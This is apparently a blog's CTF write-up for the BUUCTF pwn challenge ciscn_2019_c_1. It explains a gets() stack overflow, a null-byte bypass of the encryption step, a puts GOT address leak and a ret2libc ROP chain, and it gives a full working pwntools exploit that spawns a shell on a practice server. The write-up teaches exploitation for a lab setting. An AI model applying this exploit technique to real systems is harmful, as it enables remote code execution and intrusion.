【BUUCTF-PWN】11-ciscn_2019_c_1

64位,开启了NX保护
在这里插入图片描述

执行效果如下:
在这里插入图片描述

main函数
在这里插入图片描述

encrypt()函数
gets()函数存在栈溢出,但是中间部分代码会对传入的字符串做加密处理
中间的部分是对字符串进行处理,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\0‘来绕过加密
在这里插入图片描述

溢出距离为0x50+8
在这里插入图片描述

这里没有找到可用的后门函数,需要利用libc
在这里插入图片描述
在这里插入图片描述

思路参考:[BUUCTF]PWN6——ciscn_2019_c_1_bugkuctf-pwn题pwn6-CSDN博客
这一类题目的基本做法
1、利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使
用的libc的版本。
2、程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移
量,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
3、得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执
行system(’/bin/sh‘)这样的命令

溢出思路如下:buuctf ciscn_2019_c_1 wp_buuf ciscn-2019-c-CSDN博客
首先应将s空间进行泄露,0x50+覆盖rdp的值,即 0x50+8 的数据量进行第一层覆盖
再利用pop_rdi;ret语句进行将下一层值推入寄存器rdi中作为参数,本次payload构建目的在于利用puts函数泄露本身的真实地址,从而获取Libc基址,所以将puts_got作为参数,运行函数地址为puts_plt,即用puts来打印出Puts_got的地址,最后再返回start函数重新运行,在后续中再次利用libc的基址找出system以及“bin/sh”的地址,从而构建第二次payload,要注意的是由于靶机是Ubuntu,所以要构建栈平衡,第二次payload需要加入ret。
在这里插入图片描述

ROPgadget 查找pop_rdi;ret地址:

ROPgadget  --binary ciscn_2019_c_1 --only "pop|ret"

或者:

ROPgadget  --binary ciscn_2019_c_1 |grep "pop rdi"

在这里插入图片描述
在这里插入图片描述

ROPgadget 查找pop_rdi;ret地址:

ROPgadget  --binary ciscn_2019_c_1 --only "ret"

在这里插入图片描述

(1)利用gets()函数栈溢出,借助puts()函数将puts()的真实装载地址打印出来,利用LibcSearcher库得到libc版本

r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)   #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi)          	#pop_rdi;ret地址
payload+=p64(puts_got)   		#设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_plt)   		#调用puts函数,输出的是puts的got表地址
payload+=p64(main)       		#设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
                        		#让它返回到main函数,这样我们才可以再一次利用输入点构造rop 

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))    	# 接收程序返回的地址
                                                  			# lijust(8,‘\0’),不满8位的用0补足
libc=LibcSearcher('puts',puts_addr)  			# 利用LibcSearcher模块找到匹配的libc版本        

(2)通过puts()实际装载地址和libc中函数地址差值算出偏移量,从而得到程序中其他函数(system、binsh)的地址

offset=puts_addr-libc.dump('puts')    	 #算出偏移量
binsh=offset+libc.dump('str_bin_sh')   	#偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')

(3)构造ROP执行system(‘/bin/sh’)命令

payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(ret)                #   ret地址,为了构建栈平衡
payload+=p64(pop_rdi)            #   pop_rdi;ret地址
payload+=p64(binsh)              # /bin/sh的地址
payload+=p64(system)             # system的地址

总的exp如下:

from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',26531)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8, b'\0'))
print (hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

r.sendlineafter('choice!\n','1')

payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

运行结果如下:
执行过程中会匹配到两个libc版本,这里分别手动选择两个都试一下
在这里插入图片描述

第一个libc会直接报错退出
在这里插入图片描述

第二个libc可以成功连接打通:(但好像不稳定,第一次连接后执行命令没反应,后面执行又没问题了)
在这里插入图片描述

关于pop_rdi;ret的解释
在这里插入图片描述

如何利用pop_rdi;ret构造ROP:
在这里插入图片描述
在这里插入图片描述

参考:
[BUUCTF]PWN6——ciscn_2019_c_1_bugkuctf-pwn题pwn6-CSDN博客
BUUCTF ciscn_2019_c_1 题解-CSDN博客
buuctf ciscn_2019_c_1 wp_buuf ciscn-2019-c-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/772763.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C#委托事件的实现

1、事件 在C#中事件是一种特殊的委托类型,用于在对象之间提供一种基于观察者模式的通知机制。 1.1、事件的发送方定义了一个委托,委托类型的声明包含了事件的签名,即事件处理器方法的签名。 1.2、事件的订阅者可以通过运算符来注册事件处理器…

欧拉筛法与埃氏拉筛

如果我们想知道从零到一个数有哪些质数,我们首先会想到运用枚举法,将小于这个数的每个数都相乘一遍,这样的做法会大大降低我们程序的质数,增加时间,事实上,在我们之前就有许多人尝试运用另外的思维&#xf…

2pc 3pc

2pc&3pc问题 本质: 2pcTM超时机制 3pc加入事务询问机制RM超时机制 事务询问机制:减少阻塞 RM超时机制:避免死锁 2pc 3pc 参考: https://juejin.im/post/5aa3c7736fb9a028bb189bca#heading-1 https://blog.csdn.net/xj1…

【笔记】在window上连接虚拟机中的redis

愚昧啊 困扰了我近两天的问题居然是因为是java代码写错地方了 在虚拟机中进入redis.conf文件 vim redis.conf /bind --斜杠搜索关键词 将值设置为 bind 0.0.0.0 保存 退出:wq 回到java中 添加redis依赖 刷新maven 就是在这一步出问题……………………………………自己在蓝…

RK3568平台(opencv篇)ubuntu18.04上安装opencv环境

一.什么是 OpenCV-Python OpenCV-Python 是一个 Python 绑定库,旨在解决计算机视觉问题。   Python 是一种由 Guido van Rossum 开发的通用编程语言,它很快就变得非常流行,主要是 因为它的简单性和代码可读性。它使程序员能够用更少的代码行…

【踩坑】修复报错Cannot find DGL libdgl_sparse_pytorch_2.2.0.so

转载请注明出处:小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你,欢迎[点赞、收藏、关注]哦~ 目录 错误复现 原因分析 解决方法 错误复现 import dgldataset dgl.data.CoraGraphDataset() graph dataset[0] graph.adjacency_matrix() 原因分…

MySQL第二次作业

一、数据库 1、登陆数据库 2、创建数据库zoo 3、修改数据库zoo字符集为gbk 4、选择当前数据库为zoo 5、查看创建数据库zoo信息 6、删除数据库zoo 二、创建表 1、创建一个名称为db_system的数据库 2、在该数据库下创建两张表,具体要求如下 员工表 user 字段 类型 约…

阿里模型调用体验

引言 随着人工智能技术的飞速发展,大型模型已成为推动技术进步的关键因素之一。阿里大模型作为国内领先的人工智能技术之一,其在多个领域的应用展示了强大的潜力。本文将通过调用案例,简单解析阿里大模型在特定场景中的应用及其效果。 1.导…

面试知识储备-SpringCloud

1.为什么要出现springcloud? 单体架构 定义:传统的项目所有功能打成一个jar包就能直接部署,所有功能糅合到一起,非常简单 缺点:大公司项目某些功能的并发量大,会占用大量的资源,影响其他功能的正常运行(比如非常重要的交易功能) 微服务架构 定义:将各个功能拆分为独立项目…

云计算【第一阶段(26)】Linux网络设置

一、查看网络配置 1.查看网络接口信息ifconfig 查看所有活动的网络接口信息 2.ifconfig命令 查看指定网络接口信息 ifconfig 网络接口 (1)第一行:以太网卡的名字 ens33其中en代表以太网卡, centos6的是eth0, e…

TensorFlow安装CPU版本和GPU版本

文章目录 前言一、TensorFlow安装CPU版本1.新建虚拟环境2.激活虚拟环境3.下载tensorflow4.验证是否下载成功 二、TensorFlow安装GPU版本1.新建虚拟环境2.激活虚拟环境3.安装tensorflow-gpu4.验证是否下载成功 前言 下载的Anaconda是Anaconda3-2024.02-1-Windows-x86_64版本 一…

latex 报错解决①aligned ②begin document

1. 是aligned,不是align!! 网上写的公式大多是这样的 \begin{equation}\label{eq:2} \begin{align} Q\left( {s,t} \right) a{s^2} 2bst c{t^2} 2ds 2et f \end{align} \end{equation}但是报错: ! Package amsmath Erro…

大语言模型测评工具-ChatHub和ChatAll

背景 现在国内外拥有上百个大语言模型,在AI业务中,我们需要在其中选择一个合适业务模型,就需要对这些模型进行测试。手工去测试这么多模型效率一定不高,今天就介绍两个提高测评模型效率的工具 ChatHub和ChatAll。 介绍 ChatHub…

k8s-第十节-Ingress

Ingress 介绍 Ingress 为外部访问集群提供了一个 统一 入口,避免了对外暴露集群端口;功能类似 Nginx,可以根据域名、路径把请求转发到不同的 Service。可以配置 https 跟 LoadBalancer 有什么区别? LoadBalancer 需要对外暴露…

《侃侃而谈 · 为什么动笔》

📢 大家好,我是 【战神刘玉栋】,有10多年的研发经验,致力于前后端技术栈的知识沉淀和传播。 💗 🌻 CSDN入驻一周,希望大家多多支持,后续会继续提升文章质量,绝不滥竽充数…

Greenplum(一)【MPP 架构 数据类型】

1、Greenplum 入门 Greenplum 是基于 MPP 架构的一款分布式分析型数据库,具备关系型数据库的特点,因为它处理的是结构化的数据,同时具备大数据分布式的特点。 1.1、MPP 架构 MPP(Massively Parallel Processing)架构是…

同方威视受邀盛装亮相2024长三角快递物流展(杭州)助力行业物畅其流

同方威视技术股份有限公司携安全检测产品和综合解决方案,盛装亮相2024长三角快递物流展(杭州) 展位号:3C馆A07-1 时间:2024年7月8-10日 地址:杭州国际博览中心(浙江省杭州市萧山区奔竞大道35…

实现前端项目自动构建和部署(Gitee Go)

前言 相信所有的前端开发者都希望将自己的代码部署在服务器上让所有人都能访问到,但是却不知道如何进行部署。其实要是实现代码上线非常简单,我们只需要将build之后的代码上传到服务器,然后通过Nginx起一个服务指向我们build后的代码就可以了…

解析MySQL核心技术:视图的实用指南与实践案例

在数据库管理中,MySQL视图(View)是一种强大的功能,利用它可以简化复杂查询、提高数据安全性以及增强代码的可维护性。本篇文章将详细介绍MySQL视图的相关知识,包括视图的创建、修改、删除、使用场景以及常见的最佳实践…

WAIC热点聚焦|具身智能简介:AI新浪潮的领跑者

WAIC热点聚焦|具身智能简介:AI新浪潮的领跑者 引言 随着"具身智能"(Embodied Intelligence)的火热讨论,2024年标志着人机交互新时代的开启。在大模型技术的推动下,机器人响应语音指令成为现实,…